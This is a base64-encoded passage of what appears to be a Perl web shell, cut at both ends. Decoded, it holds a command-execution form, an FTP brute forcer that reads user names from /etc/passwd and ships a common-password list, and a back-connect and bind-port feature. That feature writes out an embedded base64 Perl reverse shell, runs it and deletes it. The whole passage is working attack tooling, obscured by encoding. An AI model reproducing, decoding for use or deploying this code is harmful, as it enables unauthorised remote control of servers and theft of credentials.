ZpbGUpDQoJew0KCQkkcm93cz0iMjMiDQoJfWVsc2UNCgl7DQoJCSRtc2c9Ijxicj48Zm9udCBzdHlsZT0nZm9udDogMTVwdCBWZXJkYW5hOyBjb2xvcjogeWVsbG93OycgPiBQZXJtaXNzaW9uIGRlbmllZCE8Zm9udD48YnI+IjsNCgkJJHJvd3M9IjIwIg0KCX0NCgkkUHJvbXB0ID0gJFdpbk5UID8gIiRkaXIgPiAiIDogIjxmb250IGNvbG9yPScjRkZGRkZGJz5bYWRtaW5cQCRTZXJ2ZXJOYW1lICRkaXJdXCQ8L2ZvbnQ+ICI7DQoJJHJlYWQ9KCRXaW5OVCk/InR5cGUiOiJsZXNzIjsNCgkkUnVuQ29tbWFuZCA9ICIkcmVhZCBcIiRSdW5Db21tYW5kXCIiOw0KCSRyZXN1bHQgLj0gIDw8RU5EOw0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KDQoJPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iZCIgdmFsdWU9IiRDdXJyZW50RGlyIj4NCgkkUHJvbXB0DQoJPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjQwIiBuYW1lPSJjIj4NCgk8aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRW50ZXIiPg0KCTxicj5Db21tYW5kOiA8cnVuPiAkUnVuQ29tbWFuZCA8L3J1bj4NCgk8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJmaWxlIiB2YWx1ZT0iJGZpbGUiID4gJHNhdmUgPGJyPiAkbXNnDQoJPGJyPjx0ZXh0YXJlYSBpZD0iZGF0YSIgbmFtZT0iZGF0YSIgY29scz0iJGNvbHMiIHJvd3M9IiRyb3dzIiBzcGVsbGNoZWNrPSJmYWxzZSI+DQpFTkQNCgkNCgkkcmVzdWx0IC49ICZSdW5DbWQ7DQoJJHJlc3VsdCAuPSAgIjwvdGV4dGFyZWE+IjsNCgkkcmVzdWx0IC49ICAiPC9mb3JtPiI7DQoJcmV0dXJuICRyZXN1bHQ7DQp9DQojPT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09DQojIFNhdmUgRmlsZQ0KIz09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PT09PQ0Kc3ViIFNhdmVGaWxlKCQpDQp7DQoJbXkgJERhdGE9IHNoaWZ0IDsNCglteSAkRmlsZT0gc2hpZnQ7DQoJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuJEZpbGU7DQoJaWYob3BlbihGSUxFLCAiPiRGaWxlIikpDQoJew0KCQliaW5tb2RlIEZJTEU7DQoJCXByaW50IEZJTEUgJERhdGE7DQoJCWNsb3NlIEZJTEU7DQoJCXJldHVybiAxOw0KCX1lbHNlDQoJew0KCQlyZXR1cm4gMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlciBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQnJ1dGVGb3JjZXJGb3JtDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkcmVzdWx0IC49IDw8RU5EOw0KDQo8dGFibGU+DQoNCjx0cj4NCjx0ZCBjb2xzcGFuPSIyIiBhbGlnbj0iY2VudGVyIj4NCiMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIzxicj4NClNpbXBsZSBGVFAgYnJ1dGUgZm9yY2VyPGJyPg0KIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjIyMjDQo8Zm9ybSBuYW1lPSJmIiBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCg0KPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJydXRlZm9yY2VyIi8+DQo8L3RkPg0KPC90cj4NCjx0cj4NCjx0ZD5Vc2VyOjxicj48dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJ1c2VyIj4NCkVORA0KY2hvcCgkcmVzdWx0IC49IGBsZXNzIC9ldGMvcGFzc3dkIHwgY3V0IC1kOiAtZjFgKTsNCiRyZXN1bHQgLj0gPDwnRU5EJzsNCjwvdGV4dGFyZWE+PC90ZD4NCjx0ZD4NCg0KUGFzczo8YnI+DQo8dGV4dGFyZWEgcm93cz0iMTgiIGNvbHM9IjMwIiBuYW1lPSJwYXNzIj4xMjNwYXNzDQoxMjMhQCMNCjEyM2FkbWluDQoxMjNhYmMNCjEyMzQ1NmFkbWluDQoxMjM0NTU0MzIxDQoxMjM0NDMyMQ0KcGFzczEyMw0KYWRtaW4NCmFkbWluY3ANCmFkbWluaXN0cmF0b3INCm1hdGtoYXUNCnBhc3NhZG1pbg0KcEBzc3dvcmQNCnBAc3N3MHJkDQpwYXNzd29yZA0KMTIzNDU2DQoxMjM0NTY3DQoxMjM0NTY3OA0KMTIzNDU2Nzg5DQoxMjM0NTY3ODkwDQoxMTExMTENCjAwMDAwMA0KMjIyMjIyDQozMzMzMzMNCjQ0NDQ0NA0KNTU1NTU1DQo2NjY2NjYNCjc3Nzc3Nw0KODg4ODg4DQo5OTk5OTkNCjEyMzEyMw0KMjM0MjM0DQozNDUzNDUNCjQ1NjQ1Ng0KNTY3NTY3DQo2Nzg2NzgNCjc4OTc4OQ0KMTIzMzIxDQo0NTY2NTQNCjY1NDMyMQ0KNzY1NDMyMQ0KODc2NTQzMjENCjk4NzY1NDMyMQ0KMDk4NzY1NDMyMQ0KYWRtaW4xMjMNCmFkbWluMTIzNDU2DQphYmNkZWYNCmFiY2FiYw0KIUAjIUAjDQohQCMkJV4NCiFAIyQlXiYqKA0KIUAjJCQjQCENCmFiYzEyMw0KYW5oeWV1ZW0NCmlsb3ZleW91PC90ZXh0YXJlYT4NCjwvdGQ+DQo8L3RyPg0KPHRyPg0KPHRkIGNvbHNwYW49IjIiIGFsaWduPSJjZW50ZXIiPg0KU2xlZXA6PHNlbGVjdCBuYW1lPSJzbGVlcCI+DQoNCjxvcHRpb24+MDwvb3B0aW9uPg0KPG9wdGlvbj4xPC9vcHRpb24+DQo8b3B0aW9uPjI8L29wdGlvbj4NCg0KPG9wdGlvbj4zPC9vcHRpb24+DQo8L3NlbGVjdD4gDQo8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0ic3VibWl0IiB2YWx1ZT0iQnJ1dGUgRm9yY2VyIi8+PC90ZD48L3RyPg0KPC9mb3JtPg0KPC90YWJsZT4NCkVORA0KcmV0dXJuICRyZXN1bHQ7DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojIEJydXRlIEZvcmNlcg0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJydXRlRm9yY2VyDQp7DQoJbXkgJHJlc3VsdD0iIjsNCgkkU2VydmVyPSRFTlZ7J1NFUlZFUl9BRERSJ307DQoJaWYoJGlueyd1c2VyJ30gZXEgIiIpDQoJew0KCQkkcmVzdWx0IC49ICZCcnV0ZUZvcmNlckZvcm07DQoJfWVsc2UNCgl7DQoJCXVzZSBOZXQ6OkZUUDsgDQoJCUB1c2VyPSBzcGxpdCgvXG4vLCAkaW57J3VzZXInfSk7DQoJCUBwYXNzPSBzcGxpdCgvXG4vLCAkaW57J3Bhc3MnfSk7DQoJCWNob21wKEB1c2VyKTsNCgkJY2hvbXAoQHBhc3MpOw0KCQkkcmVzdWx0IC49ICI8YnI+PGJyPlsrXSBUcnlpbmcgYnJ1dGUgJFNlcnZlck5hbWU8YnI+PT09PT09PT09PT09PT09PT09PT0+Pj4+Pj4+Pj4+Pj48PDw8PDw8PDw8PT09PT09PT09PT09PT09PT09PT08YnI+PGJyPlxuIjsNCgkJZm9yZWFjaCAkdXNlcm5hbWUgKEB1c2VyKQ0KCQl7DQoJCQlpZighKCR1c2VybmFtZSBlcSAiIikpDQoJCQl7DQoJCQkJZm9yZWFjaCAkcGFzc3dvcmQgKEBwYXNzKQ0KCQkJCXsNCgkJCQkJJGZ0cCA9IE5ldDo6RlRQLT5uZXcoJFNlcnZlcikgb3IgZGllICJDb3VsZCBub3QgY29ubmVjdCB0byAkU2VydmVyTmFtZVxuIjsgDQoJCQkJCWlmKCRmdHAtPmxvZ2luKCIkdXNlcm5hbWUiLCIkcGFzc3dvcmQiKSkNCgkJCQkJew0KCQkJCQkJJHJlc3VsdCAuPSAiPGEgdGFyZ2V0PSdfYmxhbmsnIGhyZWY9J2Z0cDovLyR1c2VybmFtZTokcGFzc3dvcmRcQCRTZXJ2ZXInPlsrXSBmdHA6Ly8kdXNlcm5hbWU6JHBhc3N3b3JkXEAkU2VydmVyPC9hPjxicj5cbiI7DQoJCQkJCQkkZnRwLT5xdWl0KCk7DQoJCQkJCQlicmVhazsNCgkJCQkJfQ0KCQkJCQlpZighKCRpbnsnc2xlZXAnfSBlcSAiMCIpKQ0KCQkJCQl7DQoJCQkJCQlzbGVlcChpbnQoJGlueydzbGVlcCd9KSk7DQoJCQkJCX0NCgkJCQkJJGZ0cC0+cXVpdCgpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQkkcmVzdWx0IC49ICJcbjxicj49PT09PT09PT09Pj4+Pj4+Pj4+PiBGaW5pc2hlZCA8PDw8PDw8PDw8PT09PT09PT09PTxicj5cbiI7DQoJfQ0KCXJldHVybiAkcmVzdWx0Ow0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCBGb3JtDQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQpzdWIgQmFja0JpbmRGb3JtDQp7DQoJcmV0dXJuIDw8RU5EOw0KCTxicj48YnI+DQoNCgk8dGFibGU+DQoJPHRyPg0KCTxmb3JtIG5hbWU9ImYiIG1ldGhvZD0iUE9TVCIgYWN0aW9uPSIkU2NyaXB0TG9jYXRpb24iPg0KCTx0ZD5CYWNrQ29ubmVjdDogPGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYSIgdmFsdWU9ImJhY2tiaW5kIj48L3RkPg0KCTx0ZD4gSG9zdDogPGlucHV0IHR5cGU9InRleHQiIHNpemU9IjIwIiBuYW1lPSJjbGllbnRhZGRyIiB2YWx1ZT0iJEVOVnsnUkVNT1RFX0FERFInfSI+DQoJIFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSI3IiBuYW1lPSJjbGllbnRwb3J0IiB2YWx1ZT0iODAiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiYScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+PC90ZD4NCg0KCTx0ZD48aW5wdXQgbmFtZT0icyIgY2xhc3M9InN1Ym1pdCIgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXQiIHZhbHVlPSJDb25uZWN0Ij48L3RkPg0KCTwvZm9ybT4NCgk8L3RyPg0KCTx0cj4NCgk8dGQgY29sc3Bhbj0zPjxmb250IGNvbG9yPSNGRkZGRkY+WytdIENsaWVudCBsaXN0ZW4gYmVmb3JlIGNvbm5lY3QgYmFjayENCgk8YnI+WytdIFRyeSBjaGVjayB5b3VyIFBvcnQgd2l0aCA8YSB0YXJnZXQ9Il9ibGFuayIgaHJlZj0iaHR0cDovL3d3dy5jYW55b3VzZWVtZS5vcmcvIj5odHRwOi8vd3d3LmNhbnlvdXNlZW1lLm9yZy88L2E+DQoJPGJyPlsrXSBDbGllbnQgbGlzdGVuIHdpdGggY29tbWFuZDogPHJ1bj5uYyAtdnYgLWwgLXAgPHNwYW4gaWQ9ImJhIj44MDwvc3Bhbj48L3J1bj48L2ZvbnQ+PC90ZD4NCg0KCTwvdHI+DQoJPC90YWJsZT4NCg0KCTxicj48YnI+DQoJPHRhYmxlPg0KCTx0cj4NCgk8Zm9ybSBtZXRob2Q9IlBPU1QiIGFjdGlvbj0iJFNjcmlwdExvY2F0aW9uIj4NCgk8dGQ+QmluZCBQb3J0OiA8aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJhIiB2YWx1ZT0iYmFja2JpbmQiPjwvdGQ+DQoNCgk8dGQ+IFBvcnQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iY2xpZW50cG9ydCIgdmFsdWU9IjE0MTIiIG9ua2V5dXA9ImRvY3VtZW50LmdldEVsZW1lbnRCeUlkKCdiaScpLmlubmVySFRNTD10aGlzLnZhbHVlOyI+DQoNCgkgUGFzc3dvcmQ6IDxpbnB1dCB0eXBlPSJ0ZXh0IiBzaXplPSIxNSIgbmFtZT0iYmluZHBhc3MiIHZhbHVlPSJUSElFVUdJQUJVT04iPjwvdGQ+DQoJPHRkPjxpbnB1dCBuYW1lPSJzIiBjbGFzcz0ic3VibWl0IiB0eXBlPSJzdWJtaXQiIG5hbWU9InN1Ym1pdCIgdmFsdWU9IkJpbmQiPjwvdGQ+DQoJPC9mb3JtPg0KCTwvdHI+DQoJPHRyPg0KCTx0ZCBjb2xzcGFuPTM+PGZvbnQgY29sb3I9I0ZGRkZGRj5bK10gQ2h1YyBuYW5nIGNodWEgZGMgdGVzdCENCgk8YnI+WytdIFRyeSBjb21tYW5kOiA8cnVuPm5jICRFTlZ7J1NFUlZFUl9BRERSJ30gPHNwYW4gaWQ9ImJpIj4xNDEyPC9zcGFuPjwvcnVuPjwvZm9udD48L3RkPg0KDQoJPC90cj4NCgk8L3RhYmxlPjxicj4NCkVORA0KfQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0KIyBCYWNrY29ubmVjdCB1c2UgcGVybA0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIEJhY2tCaW5kDQp7DQoJdXNlIE1JTUU6OkJhc2U2NDsNCgl1c2UgU29ja2V0OwkNCgkkYmFja3Blcmw9Ikl5RXZkWE55TDJKcGJpOXdaWEpzRFFwMWMyVWdTVTg2T2xOdlkydGxkRHNOQ2lSVGFHVnNiQWs5SUNJdlltbHVMMkpoYzJnaU93MEtKRUZTUjBNOVFFRlNSMVk3RFFwMWMyVWdVMjlqYTJWME93MEtkWE5sSUVacGJHVklZVzVrYkdVN0RRcHpiMk5yWlhRb1UwOURTMFZVTENCUVJsOUpUa1ZVTENCVFQwTkxYMU5VVWtWQlRTd2daMlYwY0hKdmRHOWllVzVoYldVb0luUmpjQ0lwS1NCdmNpQmthV1VnY0hKcGJuUWdJbHN0WFNCVmJtRmliR1VnZEc4Z1VtVnpiMngyWlNCSWIzTjBYRzRpT3cwS1kyOXVibVZqZENoVFQwTkxSVlFzSUhOdlkydGhaR1J5WDJsdUtDUkJVa2RXV3pGZExDQnBibVYwWDJGMGIyNG9KRUZTUjFaYk1GMHBLU2tnYjNJZ1pHbGxJSEJ5YVc1MElDSmJMVjBnVlc1aFlteGxJSFJ2SUVOdmJtNWxZM1FnU0c5emRGeHVJanNOQ25CeWFXNTBJQ0pEYjI1dVpXTjBaV1FoSWpzTkNsTlBRMHRGVkMwK1lYVjBiMlpzZFhOb0tDazdEUXB2Y0dWdUtGTlVSRWxPTENBaVBpWlRUME5MUlZRaUtUc05DbTl3Wlc0b1UxUkVUMVZVTENJK0psTlBRMHRGVkNJcE93MEtiM0JsYmloVFZFUkZVbElzSWo0bVUwOURTMFZVSWlrN0RRcHdjbWx1ZENBaUxTMDlQU0JEYjI1dVpXTjBaV1FnUW1GamEyUnZiM0lnUFQwdExTQWdYRzVjYmlJN0RRcHplWE4wWlcwb0luVnVjMlYwSUVoSlUxUkdTVXhGT3lCMWJuTmxkQ0JUUVZaRlNFbFRWQ0E3WldOb2J5QW5XeXRkSUZONWMzUmxiV2x1Wm04NklDYzdJSFZ1WVcxbElDMWhPMlZqYUc4N1pXTm9ieUFuV3l0ZElGVnpaWEpwYm1adk9pQW5PeUJwWkR0bFkyaHZPMlZqYUc4Z0oxc3JYU0JFYVhKbFkzUnZjbms2SUNjN0lIQjNaRHRsWTJodk95QmxZMmh2SUNkYksxMGdVMmhsYkd3NklDYzdKRk5vWld4c0lpazdEUXBqYkc5elpTQlRUME5MUlZRNyI7DQoJJGJpbmRwZXJsPSJJeUV2ZFhOeUwySnBiaTl3WlhKc0RRcDFjMlVnVTI5amEyVjBPdzBLSkVGU1IwTTlRRUZTUjFZN0RRb2tjRzl5ZEFrOUlDUkJVa2RXV3pCZE93MEtKSEJ5YjNSdkNUMGdaMlYwY0hKdmRHOWllVzVoYldVb0ozUmpjQ2NwT3cwS0pGTm9aV3hzQ1QwZ0lpOWlhVzR2WW1GemFDSTdEUXB6YjJOclpYUW9VMFZTVmtWU0xDQlFSbDlKVGtWVUxDQlRUME5MWDFOVVVrVkJUU3dnSkhCeWIzUnZLVzl5SUdScFpTQWljMjlqYTJWME9pUWhJanNOQ25ObGRITnZZMnR2Y0hRb1UwVlNWa1ZTTENCVFQweGZVMDlEUzBWVUxDQlRUMTlTUlZWVFJVRkVSRklzSUhCaFkyc29JbXdpTENBeEtTbHZjaUJrYVdVZ0luTmxkSE52WTJ0dmNIUTZJQ1FoSWpzTkNtSnBibVFvVTBWU1ZrVlNMQ0J6YjJOcllXUmtjbDlwYmlna2NHOXlkQ3dnU1U1QlJFUlNYMEZPV1NrcGIzSWdaR2xsSUNKaWFXNWtPaUFrSVNJN0RRcHNhWE4wWlc0b1UwVlNWa1ZTTENCVFQwMUJXRU5QVGs0cENRbHZjaUJrYVdVZ0lteHBjM1JsYmpvZ0pDRWlPdzBLWm05eUtEc2dKSEJoWkdSeUlEMGdZV05qWlhCMEtFTk1TVVZPVkN3Z1UwVlNWa1ZTS1RzZ1kyeHZjMlVnUTB4SlJVNVVLUTBLZXcwS0NXOXdaVzRvVTFSRVNVNHNJQ0krSmtOTVNVVk9WQ0lwT3cwS0NXOXdaVzRvVTFSRVQxVlVMQ0FpUGlaRFRFbEZUbFFpS1RzTkNnbHZjR1Z1S0ZOVVJFVlNVaXdnSWo0bVEweEpSVTVVSWlrN0RRb0pjM2x6ZEdWdEtDSjFibk5sZENCSVNWTlVSa2xNUlRzZ2RXNXpaWFFnVTBGV1JVaEpVMVFnTzJWamFHOGdKMXNyWFNCVGVYTjBaVzFwYm1adk9pQW5PeUIxYm1GdFpTQXRZVHRsWTJodk8yVmphRzhnSjFzclhTQlZjMlZ5YVc1bWJ6b2dKenNnYVdRN1pXTm9ienRsWTJodklDZGJLMTBnUkdseVpXTjBiM0o1T2lBbk95QndkMlE3WldOb2J6c2daV05vYnlBbld5dGRJRk5vWld4c09pQW5PeVJUYUdWc2JDSXBPdzBLQ1dOc2IzTmxLRk5VUkVsT0tUc05DZ2xqYkc5elpTaFRWRVJQVlZRcE93MEtDV05zYjNObEtGTlVSRVZTVWlrN0RRcDlEUW89IjsNCg0KCSRDbGllbnRBZGRyID0gJGlueydjbGllbnRhZGRyJ307DQoJJENsaWVudFBvcnQgPSBpbnQoJGlueydjbGllbnRwb3J0J30pOw0KCWlmKCRDbGllbnRQb3J0IGVxIDApDQoJew0KCQlyZXR1cm4gJkJhY2tCaW5kRm9ybTsNCgl9ZWxzaWYoISRDbGllbnRBZGRyIGVxICIiKQ0KCXsNCgkJJERhdGE9ZGVjb2RlX2Jhc2U2NCgkYmFja3BlcmwpOw0KCQlpZigtdyAiL3RtcC8iKQ0KCQl7DQoJCQkkRmlsZT0iL3RtcC9iYWNrY29ubmVjdC5wbCI7CQ0KCQl9ZWxzZQ0KCQl7DQoJCQkkRmlsZT0kQ3VycmVudERpci4kUGF0aFNlcC4iYmFja2Nvbm5lY3QucGwiOw0KCQl9DQoJCW9wZW4oRklMRSwgIj4kRmlsZSIpOw0KCQlwcmludCBGSUxFICREYXRhOw0KCQljbG9zZSBGSUxFOw0KCQlzeXN0ZW0oInBlcmwgYmFja2Nvbm5lY3QucGwgJENsaWVudEFkZHIgJENsaWVudFBvcnQiKTsNCgkJdW5saW5rKCRGaWxlKTsNCgkJZXhpdCAwOw0KCX1lbHNlDQoJew0KCQkkRGF0YT1kZWNvZGVfYmFzZTY0KCRiaW5kcGVybCk7DQoJCWlmKC13ICIvdG1wIikNCgkJew0KCQkJJEZpbGU9Ii90bXAvYmluZHBvcnQucGwiOwkNCgkJfWVsc2UNCgkJew0KCQkJJEZpbGU9JEN1cnJlbnREaXIuJFBhdGhTZXAuImJpbmRwb3J0LnBsIjsNCgkJfQ0KCQlvcGVuKEZJTEUsICI+JEZpbGUiKTsNCgkJcHJpbnQgRklMRSAkRGF0YTsNCgkJY2xvc2UgRklMRTsNCgkJc3lzdGVtKCJwZXJsIGJpbmRwb3J0LnBsICRDbGllbnRQb3J0Iik7DQoJCXVubGluaygkRmlsZSk7DQoJCWV4aXQgMDsNCgl9DQp9DQojLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tDQojICBBcnJheSBMaXN0IERpcmVjdG9yeQ0KIy0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLQ0Kc3ViIFJtRGlyKCQpIA0Kew0KCW15ICRkaXIgPSBzaGlmdDsNCiAgICBpZihvcGVuZGlyKERJUiwkZGlyKSkNCgl7DQoJCXdoaWxlKCRmaWxlID0gcmVhZGRpcihESVIpKQ0KCQl7DQoJCQlpZigoJGZpbGUgbmUgIi4iKSAmJiAoJGZpbGUgbmUgIi4uIikpDQoJCQl7DQoJCQkJJGZpbGU9ICRkaXIuJFBhdGhTZXAuJGZpbGU7DQoJCQkJaWYoLWQgJGZpbGUpDQoJCQkJew0KCQkJCQkmUm1EaXIoJGZpbGUpOw0KCQkJCX0NCgkJCQllbHNlDQoJCQkJew0KCQkJCQl1bmxpbmsoJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCQljbG9zZWRpcihESVIpOw0KCX0NCglpZighcm1kaXIoJGRpcikpDQoJew0KCQkNCgl9DQp9DQpzdWIgRmlsZU93bmVyKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglpZigtZSAkZmlsZSkNCgl7DQoJCSgkdWlkLCRnaWQpID0gKHN0YXQoJGZpbGUpKVs0LDVdOw0KCQlpZigkV2luTlQpDQoJCXsNCgkJCXJldHVybiAiPz8/IjsNCgkJfQ0KCQllbHNlDQoJCXsNCgkJCSRuYW1lPWdldHB3dWlkKCR1aWQpOw0KCQkJJGdyb3VwPWdldGdyZ2lkKCRnaWQpOw0KCQkJcmV0dXJuICRuYW1lLiIvIi4kZ3JvdXA7DQoJCX0NCgl9DQoJcmV0dXJuICI/Pz8iOw0KfQ0Kc3ViIFBhcmVudEZvbGRlcigkKQ0Kew0KCW15ICRwYXRoID0gc2hpZnQ7DQoJbXkgJENvbW0gPSAiY2QgXCIkQ3VycmVudERpclwiIi4kQ21kU2VwLiJjZCAuLiIuJENtZFNlcC4kQ21kUHdkOw0KCWNob3AoJHBhdGggPSBgJENvbW1gKTsNCglyZXR1cm4gJHBhdGg7DQp9DQpzdWIgRmlsZVBlcm1zKCQpDQp7DQoJbXkgJGZpbGUgPSBzaGlmdDsNCglteSAkdXIgPSAiLSI7DQoJbXkgJHV3ID0gIi0iOw0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJaWYoJFdpbk5UKQ0KCQl7DQoJCQlpZigtciAkZmlsZSl7ICR1ciA9ICJyIjsgfQ0KCQkJaWYoLXcgJGZpbGUpeyAkdXcgPSAidyI7IH0NCgkJCXJldHVybiAkdXIgLiAiIC8gIiAuICR1dzsNCgkJfWVsc2UNCgkJew0KCQkJJG1vZGU9KHN0YXQoJGZpbGUpKVsyXTsNCgkJCSRyZXN1bHQgPSBzcHJpbnRmKCIlMDRvIiwgJG1vZGUgJiAwNzc3Nyk7DQoJCQlyZXR1cm4gJHJlc3VsdDsNCgkJfQ0KCX0NCglyZXR1cm4gIjAwMDAiOw0KfQ0Kc3ViIEZpbGVMYXN0TW9kaWZpZWQoJCkNCnsNCglteSAkZmlsZSA9IHNoaWZ0Ow0KCWlmKC1lICRmaWxlKQ0KCXsNCgkJKCRsYSkgPSAoc3RhdCgkZmlsZSkpWzldOw0KCQkoJGQsJG0sJHksJGgsJGkpID0gKGxvY2FsdGltZSgkbGEpKVszLDQsNSwyLDFdOw0KCQkkeSA9ICR5ICsgMTkwMDsNCgkJQG1vbnRoID0gcXcvMSAyIDMgNCA1IDYgNyA4IDkgMTAgMTEgMTIvOw0KCQkkbG10aW1lID0gc3ByaW50ZigiJTAyZC8lcy8lNGQgJTAyZDolMDJkIiwkZCwkbW9udGhbJG1dLCR5LCRoLCRpKTsNCgkJcmV0dXJuICRsbXRpbWU7DQoJfQ0KCXJldHVybiAiPz8/IjsNCn0NCnN1YiBGaWxlU2l6ZSgkKQ0Kew0KCW15ICRmaWxlID0gc2hpZnQ7DQoJaWYoLWYgJGZpbGUpDQoJew0KCQlyZXR1cm4gLXMgJGZpbGU7DQoJfQ0KCXJldHVybiAiMCI7DQoNCn0NCnN1YiBQYXJzZUZpbGVTaXplKCQpDQp7DQoJbXkgJHNpemUgPSBzaGlmdDsNCglpZigkc2l6ZSA8PSAxMDI0KQ0KCXsNCgkJcmV0dXJuICRzaXplLiAiIEIiOw0KCX0NCgllbHNlDQoJew0KCQlpZigkc2l6ZSA8PSAxMDI0KjEwMjQpIA0KCQl7DQoJCQkkc2l6ZSA9IHNwcmludGYoIiUuMDJmIiwkc2l6ZSAvIDEwMjQpOw0KCQkJcmV0dXJuICRzaXplLiIgS0IiOw0KCQl9DQoJCWVsc2UgDQoJCXsNCgkJCSRzaXplID0gc3ByaW50ZigiJS4yZiIsJHNpemUgLyAxMDI0IC8gMTAyNCk7DQoJCQlyZXR1cm4gJHNpemUuIiBNQiI7DQoJCX0NCgl9DQp9DQpzdWIgdHJpbSgkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nID1+IHMvXlxzKy8vOw0KCSRzdHJpbmcgPX4gcy9ccyskLy87DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgQWRkU2xhc2hlcygkKQ0Kew0KCW15ICRzdHJpbmcgPSBzaGlmdDsNCgkkc3RyaW5nPX4gcy9cXC9cXFxcL2c7DQoJcmV0dXJuICRzdHJpbmc7DQp9DQpzdWIgTGlzdERpcg0Kew0KCW15ICRwYXRoID0gJEN1cnJlbnREaXIuJFBhdGhTZXA7DQoJJHBhdGg9fiBzL1xcXFwvXFwvZzsNCglteSAkcmVzdWx0ID0gIjxmb3JtIG5hbWU9J2YnIGFjdGlvbj0nJFNjcmlwdExvY2F0aW9uJz48c3BhbiBzdHlsZT0nZm9udDogMTFwdCBWZXJkYW5hOyBmb250LXdlaWdodDogYm9sZDsnPlBhdGg6IFsgIi4mQWRkTGlua0RpcigiZ3VpIikuIiBdIDwvc3Bhbj48aW5wdXQgdHlwZT0ndGV4dCcgbmFtZT0nZCcgc2l6ZT0nNDAnIHZhbHVlPSckQ3VycmVudERpcicgLz48aW5wdXQgdHlwZT0naGlkZGVuJyBuYW1lPSdhJyB2YWx1ZT0nZ3VpJz48aW5wdXQgY2xhc3M9J3N1Ym1pdCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nQ2hhbmdlJz48L2Zvcm0+IjsNCglpZigtZCAkcGF0aCkNCgl7DQoJCW15IEBmbmFtZSA9ICgpOw0KCQlteSBAZG5hbWUgPSAoKTsNCgkJaWYob3BlbmRpcihESVIsJHBhdGgpKQ0KCQl7DQoJCQl3aGlsZSgkZmlsZSA9IHJlYWRkaXIoRElSKSkNCgkJCXsNCgkJCQkkZj0kcGF0aC4kZmlsZTsNCgkJCQlpZigtZCAkZikNCgkJCQl7DQoJCQkJCXB1c2goQGRuYW1lLCRmaWxlKTsNCgkJCQl9DQoJCQkJZWxzZQ0KCQkJCXsNCgkJCQkJcHVzaChAZm5hbWUsJGZpbGUpOw0KCQkJCX0NCgkJCX0NCgkJCWNsb3NlZGlyKERJUik7DQo